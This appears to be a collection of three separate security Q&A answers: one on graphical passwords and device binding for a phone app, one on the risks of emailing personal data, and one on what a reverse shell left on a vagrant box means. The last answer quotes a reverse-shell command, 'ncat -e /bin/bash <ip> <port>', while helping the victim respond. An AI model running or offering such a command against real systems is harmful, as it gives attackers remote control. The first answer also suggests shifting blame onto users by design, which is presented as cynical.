Use a graphical "alphabet". A password is nothing more than a sequence of symbols, which the user remembers and then "types" by pressing the right buttons on their smartphone screen. Letters and digits piggyback on an ability which most human users learned through years of training, namely reading. However, humans are good at other things than reading. Your app could display a "keyboard" with colourful symbols, which users then use as "letters" for their password (thus, they remember the sequence "cat-plane-cake-chair-tree-tree-rabbit" instead of "u8n.ffi"). With pictures, users will find it easier to build a kind of "story" around their password, which will make it easier for them to remember. (Add colours, but don't use them as a discriminant, since there are colour-blind people.)
Bind the device to the account. For instance, in an HTTPS context, push a random cookie into the client browser. When the user comes back but does not show the cookie, enforce stricter verification rules (e.g. "security questions" or simply longer login delays). This will make life harder for attackers but not for most of your users (people who switch smartphones will experience the longer delay, unless they use some kind of synchronization to transfer their cookies).
Don't overdo it. You state that there is little value in hacking an account. Therefore, you do not need strong security. Risk analysis is paramount: use protection efforts which are proportionate to the value of what you are trying to protect, but no more.
Make the users responsible. In your case, your most valuable asset is your reputation; what would be most damaging in the case of a successful account hack is the idea that your system is "hackable". Therefore, try to proactively blame the user: the user must be convinced that if his account gets hacked, then that's his fault, not yours. This is done by providing the right tools: allow the users to enter strong passwords, and add a visible warning on the registration page ("the user is responsible for choosing a strong password, which is not easy to guess"). This is not a nice thing to do to your users, but everybody does that (beginning with insurance companies: if you do not lock your car door, then you will never be refunded for whatever was stolen from your car).
Offer a non-compulsory password generator. A simple button that the user may push if he decides to get a randomly generated password. Some users will use it, and these, at least, will get strong passwords (and, more importantly, passwords with a known strength).


Girlfriend just sent Personal info over email

Most of the people who are in power to eavesdrop on the email, like the internet service providers and email providers of her and her recipient and the three letter agencies, are likely not very interested in that information. Providers are in a position to collect lots of sensitive information, but they can not risk to abuse it, because it would be quite a public relation disaster for them when it would become public (besides, in many jurisdictions it would be against the law). Government entities already have all that information anyway, so unless she is also involved in some criminal activity she should be fine.

It should, however, not become a habbit to send unencrypted personal information via email.

It might happen that they get sent or received over an open Wifi network, which allows the owner of the network to eavesdrop and when it is unencrypted also anyone else in the network.

Also, the bulk of information which accumulates in domestic and foreign government databases that way could one day make her or her affiliates a target of a dragnet investigation. The more information government entities collect, the higher the likeliness that many points of seemingly harmless data just coincidentally match with that of wanted criminals.


I'm assuming you meant:

ncat -e /bin/bash <ip> <port>

The -e argument launches the /bin/bash command when a connection is established. The command then connects out to the IP and executes bash for the remote user to interact with. The remote user gains whatever privs the launching user has. Once this command has been terminated, then so has the connection. No problem for lasting connection there.

BUT The real question is what that person did on your vagrant box ... He could have set up or installed a backdoor, or something else to have a persistent connection.

You could check the session's history file to see what he did, or rebuild the box if you cannot verify his actions.